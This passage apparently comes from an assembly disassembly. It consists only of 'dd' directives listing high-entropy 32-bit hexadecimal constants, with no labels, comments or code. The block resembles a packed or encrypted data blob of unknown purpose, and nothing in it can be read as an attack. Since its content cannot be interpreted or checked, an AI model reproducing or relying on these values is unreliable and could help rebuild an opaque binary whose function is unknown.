		dd 27860144h, 0E77C8940h, 767CB409h, 1369EFD6h,	5859E1C0h
		dd 2FF75A95h, 38E5E256h, 0A0E3BD0Bh, 0FD885123h, 78D574F6h
		dd 1F34C5EFh, 0AB24BF76h, 0D1EA8383h, 50927C4Ah, 5828A2C1h
		dd 0B117C4B9h, 17A6E3BBh, 36C99F8Fh, 0C362F02Eh, 65A8835Ah
		dd 95B85DF2h, 0BA8061B9h, 8E5C1309h, 57DC04Bh, 570259B6h
		dd 0A9685212h, 60E55640h, 882613B9h, 0B10C80E7h, 0F73F576Dh
		dd 0CAA4A0D9h, 7B612404h, 285A0456h, 0D3A7C2A4h, 3F057CE9h
		dd 0BFD381B2h, 0B36BC5D9h, 8908863Bh, 0E588262Eh, 0AFC027DBh
		dd 499F2D5Dh, 646E5FFDh, 5BD8BAECh, 415C4042h, 0B0D1F737h
		dd 29AF44A4h, 1AD001A6h
		dd 0C7B77AB3h, 6222B770h, 0D3759A06h, 0C2963DA1h, 1DC1ED75h
		dd 840B4EEFh, 4CA35D22h, 5F7FA78Bh, 0CC8ED5Eh, 0E2514BC5h
		dd 0E8A14105h, 0F74FEC91h, 57CB42EAh, 9FF65F54h, 0C1AFC358h
		dd 9368E311h, 0E9317A07h, 60EA3A6Eh, 1DF9CE22h,	83516257h
		dd 0F37FFBEEh, 74EB1801h, 15CD66Eh, 9A462E6h, 4A676608h
		dd 0E30BA50h, 5A01E9F0h, 0CA4DBD9Fh, 8D129ECFh,	0A0BF34C4h
		dd 774EDF40h, 0B80152A7h, 61682D6Fh, 6C3D3040h,	5F290FCBh
		dd 0F98029B2h, 566372DAh, 9FCB8297h, 0BAA08DDh,	927DAE7Dh
		dd 141552Fh, 42B1F056h,	24ACE97h, 784001BBh, 0AC610961h
		dd 97137056h, 36770317h, 0F1AF49EFh, 0F30B2674h, 0C1699B5Ah
		dd 0E5A89735h, 0DD81271Bh, 6B59271h, 213F4FEh, 16F15BB7h
		dd 0B88FB0EBh, 0BD54AB39h, 2A681237h, 0D7CF14A9h, 0F30A9985h
		dd 76D12FD1h, 0A4CE278Fh, 0D1283525h, 0C080191h, 0F4304665h
		dd 1BC033C7h, 407E8C3h,	9644B537h, 0A272C412h, 5E691AAh
		dd 12707E44h, 806DC468h, 224E9CE9h, 97D3C1BCh, 0BBBBD4D0h
		dd 417A6BCCh, 14D8985Eh, 81515F3Dh, 5CBD975Dh, 65DC23EAh
		dd 0F768D90Bh, 2D49BE63h, 6EA55574h, 39C825Eh, 0A7B0ED5Fh
		dd 245117A5h, 50C6AE6Bh, 44F29DFCh, 6FDF749Dh, 0F1408CE9h
		dd 0D878095Eh, 89D7037Fh, 0C102FEB8h, 44BD220Ah, 5B802062h
		dd 0B5AB7F03h, 0E93DD5B0h, 8BA9E9BCh, 2BF760Ch,	0A5B681Eh
		dd 9EDA9DC0h, 0AFD9843Ch, 6B0454FFh, 0BC10BCF6h, 0ACF58100h
		dd 310E0F42h, 5512AB97h, 3DA6ECAEh, 0BE04A4DCh,	32A04B3Ch
		dd 5AF58983h, 2760EE14h, 46C62034h, 19E90B2Fh, 449EB226h
		dd 954E258Fh, 0A7C3AB20h, 0C74E1644h, 4A9929C2h, 6B48478h
		dd 0F88F87h, 601605BBh,	0CB0B8109h, 0DC875897h,	617EA5CEh
		dd 0BA03E9AEh, 0E0DA24BCh, 1278E281h, 12742Bh, 0D35641C1h
		dd 0D02CF73Ch, 0E2010B40h, 96ED566h, 0B4F3A02Fh, 18BCE14Bh
		dd 5904BBB5h, 8EC1B331h, 0D8988E9h, 8D8ECE01h, 3C07A3Ah
		dd 6EE171C0h, 0BBD2BEBDh, 770A001Ah, 0E90BA5E7h, 9D545C4Ah
		dd 0AD6DC9F3h, 214BD1C8h, 0FB36502Ch, 0F3128D00h, 4EFD3133h
		dd 0FB4DC75Fh, 7FAD2745h, 0CA371B83h, 0A6B84A02h, 0FD1DD475h
		dd 0C19B349Bh, 65ECD207h, 1D6F35ABh, 3A7B6C86h,	34A30918h
		dd 90E3947h, 4EE69669h,	523A9980h, 86797h, 0E54264BFh
		dd 0EF503120h, 719DBBAEh, 39741D88h, 0ED0E21C8h, 59490269h
		dd 511004DFh, 9D2861F0h, 71A8ADCh, 5C097F06h, 0EF696DAFh
		dd 893C72F6h, 22C8204h,	0FCD44BA3h, 0BFAC5071h,	5C946BDh
		dd 65E73069h, 21ECC150h, 78C92EAFh, 4174F1E1h, 0F68A17BEh
		dd 0F039B181h, 67B7C462h, 0B83F3F0Dh, 0AD49E749h, 0D4BF4313h
		dd 68880206h, 1DF117F8h, 2F4EE482h, 8CB34177h, 0AFC81B93h
		dd 0F6D9BEC4h, 2F307A6h, 4BC264D4h, 882285Dh, 7D048B0Bh
		dd 0E909C8CFh, 0AAB95047h, 1D4E5714h, 406333A0h, 1E75C120h
		dd 7DC4509h, 8D4CE94Fh,	39A02A3Ah, 0D928200Ch, 7EC26815h
		dd 0B050166Bh, 2857470Ch, 0C3FE3017h, 0DBE38004h, 3009DDE7h
		dd 0BB8001D5h, 0D81C1278h, 0DF1273h, 0A53A4304h, 6FB031DEh
		dd 5CB7909Ah, 0B071EBC3h, 4F178FA6h, 0A84B768Ah, 10E982E8h
		dd 83BD0022h, 0F895DE21h, 0D7F6B4Fh, 0D508F276h, 48680123h
		dd 8902CD2Ch, 20FA185Ch, 9A69F627h, 0C27F4AF3h,	649A70Ch
		dd 0CECB3E5Dh, 9453C804h, 2CE4FB1Eh, 2913C0C5h,	562CE9F2h
		dd 16BD3FE1h, 0F471A084h, 0BB5F487Eh, 4683BA47h, 814D5E72h
		dd 0E1782D2h, 60ACC530h, 19EA25D3h, 6EE1C52Bh, 149E280h
		dd 0F67C5C99h, 0E7F88913h, 90207B8Ch, 1B564CB1h, 13D4EDB4h
		dd 98BBF6C6h, 790B68C8h, 51678D37h, 0C14462F2h,	0EFC58000h
		dd 5FE86A30h, 71AE189Eh, 13128C68h, 0C1B03416h,	0C7631829h
		dd 0B05F0C71h, 0FAC24E2Eh, 1DEB9388h, 0CCF4895Dh, 0EDF6BE14h
		dd 0BAA9844Ah, 0D0BB0893h, 4602273Dh, 0E6505BEBh, 5E582946h
		dd 1D2E0C88h, 86E58B53h, 0FAEB0BF6h, 6B7D31D0h,	0F55BD835h
		dd 0C8B47F11h, 0B8DB80D7h, 7814180h, 7C4FDAF1h,	0CD0BC239h
		dd 6176CCD5h, 22680B54h, 84878D1Ah, 0CD21B50Ah,	0D263F27Eh
		dd 490AEA0Fh, 821402C8h, 0D0F601CFh, 3E03F5C0h,	80F04C0h
		dd 586631C2h, 54704D0h,	0BB0A0805h, 558574FCh, 0C2932468h
		dd 1EDFE823h, 2D9895D2h, 799D01AAh, 0E95C500Eh,	4F36F638h
		dd 999A38BBh, 219341h, 0FEB0224h, 62D83EBEh, 0FB97DEE4h
		dd 0BB5B0DB2h, 0B717DC61h, 3DD1FFC2h, 52DDF760h, 0AE9F0268h
		dd 315AAD1Fh, 5529B2C1h, 9280F271h, 3930B2BCh, 317AF2D1h
		dd 0F7338306h, 60B056DAh, 0FABA1CDEh, 70000E20h, 7AFBD55h
		dd 27E97F01h, 8B72AE95h, 0F5C4CD4Ah, 0F1FA7783h, 9A487594h
		dd 49D9384Ch, 0FF4901DBh, 7F38B75Bh, 5C5FADF4h,	0C41F85Eh
		dd 48D1936Bh, 0E30643FEh, 6F693C72h, 7B26010Ch,	0EAE97EC3h
		dd 3C4362AFh, 0DFB54ACFh, 6C808E07h, 9D2F8851h,	0F257E162h
		dd 7578B72Dh, 7C05E0C9h, 32EB891Ch, 0C7E2606h, 0B30A5009h
		dd 2839021Dh, 6857004Ah, 3F132CF6h, 8A85F79h, 0DE268D4Eh
		dd 80B768E1h, 748ACB51h, 26680C09h, 0C09756EEh,	79A1551Fh
		dd 107B315Ch, 5B27FA74h, 6B408E8Bh, 394F3F48h, 804C5B5h
		dd 87EF2CEFh, 0D192569Ch, 0DC87C0EDh, 6CF50B0Ch, 26E9175Dh
		dd 63B9F427h, 27B96C97h, 0A7479CFCh, 12CD010Bh,	478DC0D7h
		dd 0F081819Bh, 0B0300406h, 76CC0C4Ch, 0F5F0F144h, 816177Dh
		dd 72180B11h, 0E4C7CB5Ch, 0BFB1FDA9h, 0F1E20314h, 64C2B3DDh
		dd 0E00F07EFh, 7C52FBE8h, 3005F27Eh, 35580BA9h,	0D85A060Ch
		dd 0EB93C97Ah, 6525AF75h, 32BB9097h, 42FF2E04h,	4D1F5F9h
		dd 4F57E970h, 0B6AA402Bh, 0BA110F70h, 0B1E1C30Dh, 0E43EA25Fh
		dd 7730E97Ch, 0BC685EA7h, 62369C79h, 0D0B8AB03h, 11AB2387h
		dd 2C292FC1h, 825589CDh, 0EF3985Fh, 0DA1789FDh,	91C6DC5Ch
		dd 31E59F10h, 20A6DAA7h, 0BE01730Ah, 1C177788h,	2120F231h
		dd 4CD195C1h, 1ABEA70Bh, 0A054F07Dh, 2847FAF5h,	69E63587h
		dd 6ED70DFEh, 26549F83h, 0E8D57452h, 0F5E96107h, 0D0342361h
		dd 0C5E02F95h, 0F644BB1Dh, 3427904Eh, 67AC3A85h, 328FBF00h
		dd 0E7813350h, 8D548A13h, 0D20701EFh, 307C6525h, 6105AF0Bh
		dd 6AE966A8h, 9C2D0AD0h, 15882678h, 0EF7944B5h,	0DC7A77B5h
		dd 7CB78928h, 9068455Bh, 0B85C3548h, 12BA50Ch, 80E542C7h
		dd 0B61F53BAh, 0DA131B1Ch, 0A500DD39h, 3BEF0DE3h, 528C175h
		dd 688595C8h, 0CBCFAF58h, 4BC1E912h, 0BC00490Dh, 2E20AA10h
		dd 2EBFE7F8h, 404DC4E3h, 0BA4D0413h, 4BE120Bh, 0C28E3F96h
		dd 49DFCE59h, 0FD2EE0EEh, 16A2E5DAh, 50A2EC27h,	154043D3h
		dd 983F18B4h, 262B1730h, 1809528Ch, 0CA274722h,	72584CD1h
		dd 4F343A17h, 8A1C6BB3h, 4E3E5F05h, 0FA13BCBBh,	0D436D6C9h
		dd 0A34E6249h, 3DEF976Dh, 18A0765Ch, 3613E19h, 8AD28334h
		dd 0FE308EA4h, 55C21ED9h, 53609056h, 39803BB3h,	0F3B273EBh
		dd 0EACA08CAh, 75B5CADFh, 0E5FDDA09h, 13273FACh, 0DE9FA2D8h
		dd 0EA83F0C0h, 4FF226C0h, 983A069Ah, 0AE84E2Eh,	70CF2DA7h
		dd 4C9CB2E9h, 60AB801h,	0F6404CBDh, 2FDB4E5Eh, 68412977h
		dd 4B661C6h, 0A7CB010Bh, 6E277102h, 84019E8h, 0F4F69F5Bh
		dd 0FFAD2D62h, 7832F0E6h, 0D5FA11AEh, 4E2D622h,	484B842h
		dd 2774FBB3h, 492A81C9h
		dd 46A429BBh, 6D22EAC2h, 25BC7E7Dh, 6F717ED9h, 207B96Ah
		dd 426702F3h, 0A3C4FF89h, 814B8324h, 49A18444h,	704E983Dh
		dd 54C7814Bh, 403F1012h, 12D184AFh, 9B0D2108h, 5F612FC8h
		dd 280D4334h, 0C0B51AC1h, 85CE5F26h, 0A95A1ABCh, 1363652Dh
		dd 94CDAB55h, 6E894D33h, 5BBF6E40h, 7E4D4B14h, 71BD00F9h
		dd 0B951470Ch, 89343E01h, 0F915B88Fh, 0C8291442h, 0E944825Dh
		dd 40C57741h, 0A03820B8h, 0E1570D6Fh, 0A454A87Eh, 5FCE8BBAh
		dd 0FF604EC5h, 5A5E7CF0h, 0E76E1818h, 0E80B60C4h, 0F7D3F4E9h
		dd 0D5F7AC10h, 12D30BD4h, 88FAF3D9h, 683BDFDDh,	5AB55383h
		dd 4BFECAC8h, 0F9CACD6Ch, 0A4EE04B1h, 3770B466h, 52FFE25Bh
		dd 0F55A0E0Ch, 0B346E6E7h, 6E0B8F16h, 5702055Dh, 0E9176E14h
		dd 19E39966h, 216F4D05h, 4712BB4Ah, 0DD8F5CEFh,	0A4FA895Ah
		dd 67D36A00h, 293F36CEh, 8A172EAh, 0B4C92C5Dh, 8E8AB707h
		dd 0BBF8F6EFh, 78D682A5h, 0DB14AD0Ah, 44710662h, 7E64375Ah
		dd 0C28E4F5Dh, 0F9615003h, 6EF32B73h, 4E4C8310h, 0CC71BE0h
		dd 4E8F3F18h, 68006A0Ch, 0F931E732h, 5FEAE95Fh,	0DF30EE93h
		dd 0B2830AFEh, 126A0937h, 4E7E137Eh, 3D028738h,	4674CA29h
		dd 475F4AB8h, 0EB1D6812h, 0F72C1D46h, 6E803274h, 2D625875h
		dd 83F40B9Ah, 295201CCh, 0B00D9B3Dh, 3C360C6Fh,	0A6D5FBDh
		dd 3408EBA2h, 5E14090Ch, 95131CD7h, 51E9467Ch, 20A1EDD8h
		dd 474FD6B4h, 0D0CE4C4Bh, 63399936h, 0ED88D0B5h, 4A4E7FE9h
		dd 86B9E1D4h, 5FE7915Eh, 8DF32EAAh, 1BFE5327h, 0F403AD3Fh
		dd 0D37E2D36h, 5DA5C02Ch, 18552CBAh, 9DCFAF37h,	0C79C1014h
		dd 0B912E9E1h, 6A284E9Ah, 0B88D2C85h, 0CA5F38A0h, 0D3FC0BFAh
		dd 3BEF65E8h, 0E3B0873h, 41074829h, 4CBA3608h, 0D2A42740h
		dd 0B140CBFDh, 0AAF599F7h, 880EE73Ch, 175DF6D9h, 7B8419CBh
		dd 74813A48h, 0D071A84Ah, 0F440E0F7h, 5F9EEAB4h, 87F82128h
		dd 0D82628CAh, 9C7AE90Dh, 44D02FADh, 0C42F0109h, 0DE10007Fh
		dd 0B5DA750Dh, 36AADC43h, 561CA6CCh, 0FE0089BEh, 5EF72949h
		dd 0A2F85421h, 810B25E9h, 0AC27CB2Bh, 0D2CBE9C7h, 27C5E01h
		dd 0DA317BB2h, 9F175C70h, 5300B294h, 507E7221h,	6E6714B8h
		dd 473B8C5h, 0CC1EB44Fh, 0F1A05F89h, 9E02FBEFh,	76E940B8h
		dd 0C5D70B7Fh, 0FDFC259Dh, 4EB56870h, 7529311Ah, 0E9EA3013h
		dd 0EBC58229h, 2A252002h, 554AD26Bh, 7920C65Eh,	60A641A4h
		dd 424D056h, 0B600154Eh, 8EEC0DAh, 7A55E680h, 54F62F66h
		dd 0C04BAFF7h, 0E3B151D4h, 2CE5C08h, 71D271h, 20104605h
		dd 595E1101h, 743844EBh, 5CC8D619h, 0AF400464h,	342D08ECh
		dd 2F4D4276h, 8C16AA2Ah, 73DCFAEh, 0C530D0F6h, 9508E826h
		dd 3743C1E0h, 0BFF32980h, 1487527Eh, 0E9819C2Ch, 77C2DA1Dh
		dd 0CC2FEB73h, 13681664h, 1017E316h, 0B512063Ah, 37F1AEB6h
		dd 0B151F82Bh, 81922F89h, 256BCBD8h, 99B617Eh, 0CDC3B9DBh
		dd 9E74216Fh, 0F8200195h, 0C6B9CAFFh, 59E0A103h, 0D96801D6h
		dd 0C41A387Dh, 3DAA3A76h, 3F6E0DD4h, 81D18A98h,	9455F2ECh
		dd 467A20B1h, 0E69C5F5Eh, 6C4816FDh, 0EE8EBBCBh, 0A5310B24h
		dd 0CA20EFFCh, 7BBD7FE0h, 0AE99B591h, 0A35118A4h, 0EB3B5EFBh
		dd 0BA8FBC6Ch, 0F7971CE7h, 0BA57D2D0h, 8E265AD9h, 0DFFE472Fh
		dd 0A22DC902h, 0E0AD639Ch, 9F6D891Dh, 8824D52h,	40F7673Ah
		dd 95D9214Dh, 0C1D946F6h, 8968F887h, 0C5DD0B23h, 0B43AB5C9h
		dd 5C4F7133h, 0A0AB4824h, 0A24B6C1Eh, 9EBB21EAh, 0AFE259A8h
		dd 2DEA0038h, 0AA6179Dh, 5F0290Ch, 0EA5E1707h, 89556B60h
		dd 0A2E919C5h, 2A5838B4h, 47CF94C7h, 0DF0B2DB2h, 9241AC92h
		dd 2779C0E2h, 8A90BF0Ah, 6F1EE815h, 0F31F7EDh, 2B7C01DEh
		dd 71BB422Eh, 0CF843C64h, 0C7BF0015h, 0F422A33Dh, 1487E958h
		dd 720E94B9h, 0F48491Ah, 81E48E1h, 0D9186F33h, 0B6424496h
		dd 712A4EEh, 0C4C828FAh, 0FD489414h, 86AF539Dh,	77A16916h
		dd 0C52D5EEAh, 5FF7AEC2h, 0B88B17D2h, 66AC8E64h, 20C61E2h
		dd 0E9D42885h, 4DFA7E1Fh, 0B81A6909h, 1E9F7C45h, 187BBA4Dh
		dd 2040F76Eh, 0DCF8230Eh, 4A637895h, 4EB1AC29h,	204C74EBh
		dd 435E055Eh, 0E9101B04h, 0A0925552h, 0A0F8C1DBh, 47716800h
		dd 0F2801BBFh, 5F29FF13h, 46557489h, 7EC59D65h,	9CB324CFh
		dd 41FB16A4h, 0F2C4010Dh, 0ADD23AC8h, 0F64FC926h, 0C2DCC36Bh
		dd 238692D1h, 0FEDF516Ch, 0BF750570h, 62D62F3Eh, 0EA3F6048h
		dd 1B38C0B3h, 8724C488h, 35A0EEEEh, 83401F6h, 0F209E5B0h
		dd 0F3E2F15Eh, 0E9D8EAFBh, 78B4D8BFh, 0A4BA4462h, 0C4A4D68Fh
		dd 1F21F94h, 80DBD218h,	1151BEEDh, 0BA639807h, 0E8355BBFh
		dd 16EA2B0h, 0BD554DFDh, 0E5633694h, 394CE5E9h,	7BD009C3h
		dd 0ED1A80D8h, 0F17D6F9Ch, 0F87E123Ah, 5B7601E9h, 0BF7E96Dh
		dd 0BEB14503h, 55A4AFC5h, 0CC9F1522h, 0AEEEB264h, 0B7241C96h
		dd 0D419EB48h, 7684DD21h, 0B0C728F5h, 475CAB8Eh, 0ECFC5B18h
		dd 3078E093h, 0EB4EC37Ah, 32BA8CC4h, 847CC964h,	2012CC2Fh
		dd 681649EEh, 68617E59h, 0BD7EE035h, 54C225E3h,	0B7ADAA10h
		dd 3079BA54h, 0BBD034h,	0E533898h, 5A7FEE81h, 294F4DE0h
		dd 80051A1h, 0D787CBE9h, 0DD6AF468h, 250E1B04h,	35EE595Ah
		dd 578F075Dh, 0EF0CC1BFh, 0F9853F5Ch, 0AE682A04h, 2B6A4FAAh
		dd 0D5CF0F06h, 2724BB0Dh, 0B26BB52Ah, 6254CFA4h, 590A7F68h
		dd 0FD998C3Dh, 0D80BF795h, 8C2AB04Eh, 4C362A94h, 0F9207819h
		dd 0BC7AD0B7h, 94B1FCCh, 6475F324h, 91179822h, 0C8E9C3F2h
		dd 0C07FBC8Dh, 5C4D1AD5h, 4DF61F7h, 3B02E7C1h, 87126BA2h
		dd 142ECACAh, 92C714F7h, 684420FAh, 13A876F3h, 963DB353h
		dd 82B0B980h, 0CF68DACBh, 5011A718h, 3FFE05D9h,	52561ACh
		dd 9BC769F9h, 87430A3Fh, 0D244CB02h, 0D4938050h, 4F319DFh
		dd 6F1DD32Dh, 1E10FF4Ch, 0A45F2607h, 7733BA62h,	0ED25FB4Ch
		dd 5E1190A2h, 0E7C79F51h, 49207127h, 13AC455Fh,	7F99D95Bh
		dd 0E98561F9h, 4945BFD5h, 4BAE7068h, 0DFFEA6DCh, 0A727E52Dh
		dd 9E49577Ah, 94B800ACh, 352B1B3Ch, 3E5C00D6h, 4C932D40h
		dd 3AB857ECh, 0C6EC68F8h, 2B7130F1h, 0D3F47E41h, 3EB00C1h
		dd 23F2CB81h, 0E39A330Bh, 6800CE5Ah, 20685755h,	68764869h
		dd 189B5A18h, 803826B8h, 0F7C1DEFEh, 0AC2CABE2h, 0F2E060C9h
		dd 80075966h, 0C1FE35F1h, 0C70AE153h, 4BE91250h, 0CD39A4Eh
		dd 8EBC0D3h, 5781FE38h,	0CF72CFD8h, 9DA4F9A9h, 4AA591C9h
		dd 3F0F3629h, 84435D95h, 5FD4E718h, 3E6E88EEh, 0B74D7340h
		dd 0EF863FAh, 68264134h, 335BD991h, 0CBCD53BCh,	0C8015909h
		dd 9C55382h, 0D04EE17Dh, 845AF96Ah, 0B2EFEFF7h,	58CA4E91h
		dd 8E100D48h, 8AB117AAh, 5B591104h, 4BADECAAh, 0F86855A1h
		dd 62A905CBh, 267334D7h, 691EB426h, 642B1080h, 0DA991D7Ah
		dd 39073C0Ch, 3031FAE6h, 0FE28174Eh, 791B2844h,	5B7BD8E9h
		dd 8425FC66h, 0D8AE035Fh, 8DC09350h, 0FA7982C3h, 25A957Fh
		dd 0A5E90880h, 5697B69Ah, 90217A30h, 0C2655A68h, 52C2F95Fh
		dd 449CB1D4h, 54AFF7A5h, 65FA271Fh, 0FE844B2Bh,	0F9172F39h
		dd 0FAB6EE0Eh, 0B719017Dh, 8815A260h, 4E09F0E7h, 434768E3h
		dd 496EFAE3h, 0B0B48379h, 14E1B82Eh, 12F85058h,	0D5FB95CEh
		dd 0ABC5A42Bh, 50737450h, 438A5217h, 0EABCCC57h, 0C1725626h
		dd 2AAE97E9h, 0BF00038Eh
		dd 0B8F0413Dh, 0AB5C56E9h, 1278D43Ah, 8ABBD070h, 0F3257D7Eh
		dd 0FC92DDD4h, 0E3732092h, 0C78FE984h, 0F39CD917h, 242FDEDh
		dd 362D7AC1h, 12275F29h, 0ECE9A502h, 5535015Dh,	0CB2154A5h
		dd 0BDC75A70h, 81C73D7Eh, 41557FC0h, 0FA50BD5Fh, 47803E25h
		dd 0C26805B1h, 15B9873h, 4893CD62h, 2CD97F83h, 73080513h
		dd 61412F96h, 0D9093FC2h, 40BFB258h, 0DF42E387h, 5138D861h
		dd 7495885Dh, 0D5C922h,	0CA9BB401h, 895313B0h, 5F1DA8C3h
		dd 0C600DACBh, 5AA26199h, 990FE01h, 5D926809h, 1707613h
		dd 0F50E7CE1h, 0C2984433h, 0F3D48EAEh, 70635449h, 0A92F4307h
		dd 3DD7DE7Fh, 14E9CF8Ah, 0E61C45E7h, 0C7337ED9h, 0E8B9409Fh
		dd 207F02Ch, 57DBC981h,	0D1877D02h, 1DA06297h, 1562E580h
		dd 0AFB7A687h, 268F217Fh, 7C686989h, 0A913A0Ch,	0D31E1B0Ch
		dd 0BCD37CB9h, 9BEEDA0h, 2530477Ah, 903E90DEh, 0CF76632Fh
		dd 5284EE4Ah, 4162FD7Ch, 8E12D408h, 0EBF4D99Dh,	5762FF54h
		dd 9629DF82h, 0E963E153h, 0DB2B4442h, 1FB40905h, 2084FE8h
		dd 6F605AD5h, 317239F1h, 4751A79Ch, 5613A632h, 0D2C9BDC1h
		dd 0E828A601h, 0D685810Fh, 810630A1h, 0C2594963h, 967AC7DDh
		dd 68C69CC2h, 7825E109h, 30FE2Bh, 26074A44h, 0B5D2C531h
		dd 805F3013h, 4237A7C0h, 17982D73h, 0FC4551CFh,	85B540BEh
		dd 45FD3B8h, 9AEB9812h,	0BBA24E52h, 0AA43E984h,	7D5B2A09h
		dd 0A4BDD46h, 64E2B417h, 8B19FD92h, 200BE402h, 6812EFC0h
		dd 7AB64A4Dh, 7EBB5302h, 0F8D42374h, 0B4BA91Fh,	0E990D55Ch
		dd 0F1C234E9h, 4C0EB868h, 9DAD7AFCh, 9DC0D29Ah,	16897C14h
		dd 5DF2096Ah, 0C4B5B852h, 54AB5801h, 0D53C832Dh, 10F86812h
		dd 59E2CEAh, 0F60E881Fh, 2DD801C5h, 0BBB0716h, 6E7FBFAAh
		dd 0D3E2BD0Dh, 9FF0965Dh, 742D02E7h, 98A8CFBEh,	0D5A86809h
		dd 1BC0141Ah, 0FD826AE8h, 19C1D243h, 0EA7381CAh, 6F5627CCh
		dd 740D5ABBh, 0F41844FCh, 385AAE6Dh, 0F605FFADh, 0C1C1139Bh
		dd 5A74C83h, 89BDCF82h,	4AE6C6B3h, 19EEE58h, 6EF1A610h
		dd 0F70398F2h, 22689FDBh, 6AC0344Bh, 37FCBE56h,	6737C85h
		dd 0C804FECEh, 0A0018E61h, 0E99F44C0h, 8404B1D6h, 0C58A00BBh
		dd 81235C0Ah, 78D7E504h, 0F5C03D5Ah, 0B1D5F704h, 2E0BC08Fh
		dd 609542F3h, 5070C68Bh, 41839C46h, 0B1A4261h, 0B460F4D6h
		dd 0C0659462h, 0FA4935E4h, 5A97426Fh, 10EA02BAh, 12A7154h
		dd 0F0E99F81h, 0BA282AB9h, 5BB040A2h, 0C1B84E4Fh, 38AFE660h
		dd 8736052Eh, 7B0852D6h, 5A735268h, 0CB28140Bh,	3E0B36FCh
		dd 0E9D88267h, 4B3C70D5h, 3AEC9931h, 0D83BD3A1h, 0F94CE412h
		dd 0FA0DDE7Fh, 0E441630Fh, 726A599Dh, 0E5D75AC3h, 641425DEh
		dd 0BA970984h, 911CCE93h, 88A53F99h, 34D45B20h,	0D4956C52h
		dd 3408202Ch, 0AA026858h, 0E22E2F8Dh, 645E8B45h, 17619F0Eh
		dd 0C4362CB2h, 507BF99h, 74EC828Fh, 0FD24055h, 78DD82C8h
		dd 81CE32C7h, 0D340DE6Bh, 5A0B0FEDh, 542933A0h,	95082080h
		dd 0FA2A025Fh, 680209F8h, 22FDAA2Eh, 91585F3h, 58CEE580h
		dd 107CD012h, 19A53531h, 3678FD21h, 2EA1DFB1h, 169D54F2h
		dd 0F96F29F9h, 2DEA2A14h, 5B358BE3h, 27175267h,	1C7254D8h
		dd 0E68AC12h, 0B464C8FBh, 0F45CD37Dh, 40B10743h, 22DFB252h
		dd 0E03087F2h, 0CBC1FE8Bh, 0FE0FC004h, 4B57DFBDh, 0FA5659CCh
		dd 36C4303Fh, 4AC3E965h, 489DBFF5h, 0B85F5D08h,	816094CEh
		dd 736107EBh, 5305303Eh, 4023569Dh, 0FADE9851h,	69DA012Eh
		dd 0FDF6C225h, 3CED7AC0h, 5CE66914h, 46E578C7h,	0EE020C08h
		dd 58267550h, 5579DD56h, 0F54A61ADh, 0FCCD342h,	0D420CBE7h
		dd 0BF90EA27h, 3C2FDEF3h, 0EBBC6CFCh, 906687DFh, 46142A51h
		dd 43C76BE3h, 0E708488Bh, 63721378h, 0DE270739h, 8373A494h
		dd 0C3FA5F34h, 58B44A77h, 0AE3F2D87h, 0CC9DE76Eh, 27DEB061h
		dd 1EF7A8E7h, 7DDE30B4h, 6B60EA45h, 3348A5Ch, 0F404A9CAh
		dd 0E9F2E07Fh, 9FF117A0h, 0E147B009h, 0E43BA509h, 7175824Eh
		dd 4638FF74h, 61482268h, 6602DEECh, 611A1606h, 3101B70Fh
		dd 2DA86EFDh, 7B0251C9h, 8744C0B9h, 0D941162Dh,	0C2094338h
		dd 50C6ACF1h, 9BD6BD31h, 51E2851Eh, 4D31F17Fh, 14B220B6h
		dd 957BED70h, 0D76F0B98h, 0C285CA5Bh, 52C690EEh, 0F4A05756h
		dd 0D82F0AAEh, 40B85666h, 13864963h, 5AAACCA0h,	0E9758704h
		dd 0ABFD8290h, 29386A04h, 8794AB41h, 49B60812h,	0F7024E7Ch
		dd 99F9465h, 0BD1F635h,	47F40494h, 0F26B35F1h, 13C1D056h
		dd 0DDEADC37h, 8E6B2942h, 85811B8h, 898FB2D2h, 525360C5h
		dd 0A1DA7288h, 0E9E5B8Bh, 0F7F754C6h, 0AB5E3C4Dh, 0C416B12Bh
		dd 9728EF9Ch, 97BA4E51h, 80DE2518h, 3E4903CAh, 8AA00F5Fh
		dd 529A02B8h, 0F831C42Bh, 63087167h, 1F8A2C61h,	2171AD8Ch
		dd 531F0210h, 56215376h, 7E282D5Fh, 90D186B3h, 0E940B604h
		dd 4B2EB10h, 4009B540h,	544E5682h, 40D869F0h, 0A270B8E6h
		dd 50762127h, 90DF98FDh, 9B54279Ah, 8541AAD4h, 643EC212h
		dd 83C197E1h, 0DD16536Ch, 0CB9C517Eh, 76C82C68h, 58E0C0E3h
		dd 0F9904CFDh, 0A629D609h, 802F5604h, 864E981h,	0C1EB3E6Dh
		dd 0C6EB046Ch, 26209637h, 2CBA28F9h, 5F077E86h,	0AE9C81DAh
		dd 4A2EAC25h, 0F637783Dh, 0EE508F8Ah, 0B166BC07h, 85D816BFh
		dd 9307BB8Ah, 0B3E2DA25h, 0EE07D869h, 1B12664h,	0EDE909ADh
		dd 805857A4h, 5C0F69B1h, 59E87B4Fh, 17A70826h, 4122F354h
		dd 8C080011h, 2E136805h, 0E3F0A3E9h, 9B6DE5Ah, 48FC6EBCh
		dd 0E5BC540h, 0E005024Ah, 353A1560h, 983478E0h,	9CF4E916h
		dd 2C2D1A8Bh, 2DEB95DDh, 0BF012345h, 360D4168h,	5E72D13Bh
		dd 0D4092596h, 1B39A81Ch, 983A09BEh, 100E0B26h,	828D85A2h
		dd 0D0D7C17Dh, 52E87E5h, 0D2895858h, 0EBF89626h, 5A56F4B5h
		dd 0CBB84731h, 93E91116h, 0FAAC35A0h, 0D82806FEh, 1F7BF968h
		dd 751E715Ah, 0BA181E82h, 0E686C00Dh, 5F17780Ah, 3F10AA37h
		dd 1D3C09FEh, 0E1E609F3h, 5A705B7Ah, 3F7A41C2h,	70D57AA4h
		dd 777C97A6h, 53804A7Ah, 0BD90A84Ah, 9A35C800h,	457A32A9h
		dd 9FEAE533h, 0F5754CD9h, 0B56EF245h, 3662E459h, 5B350457h
		dd 0DEA75A0h, 6B636008h, 0F86E2093h, 687910BFh,	31445B6Dh
		dd 6B8690F0h, 9184C0B8h, 34F7BBE3h, 2E41894Bh, 8158FE4Bh
		dd 6ECC05Ch, 88C13930h,	51240C9h, 0F9E42F9Dh, 53F058B1h
		dd 0E007C14Eh, 0CC427FBDh, 0C17E2D06h, 0CFFFFF5Eh, 659E3BF2h
		dd 99939002h, 4E2A4BD5h, 12FEE361h, 0C98BE92Eh,	0B7170DFh
		dd 800A14BEh, 0C27DBC0Bh, 90BF6EDEh, 0B1FAB5E0h, 4242E925h
		dd 38965FA8h, 93B3FB95h, 0BB3A945Dh, 622AABB0h,	0E0D5817Ah
		dd 9A7000Bh, 9D14F447h,	0EB6FAD51h, 3C48F585h, 5290EB80h
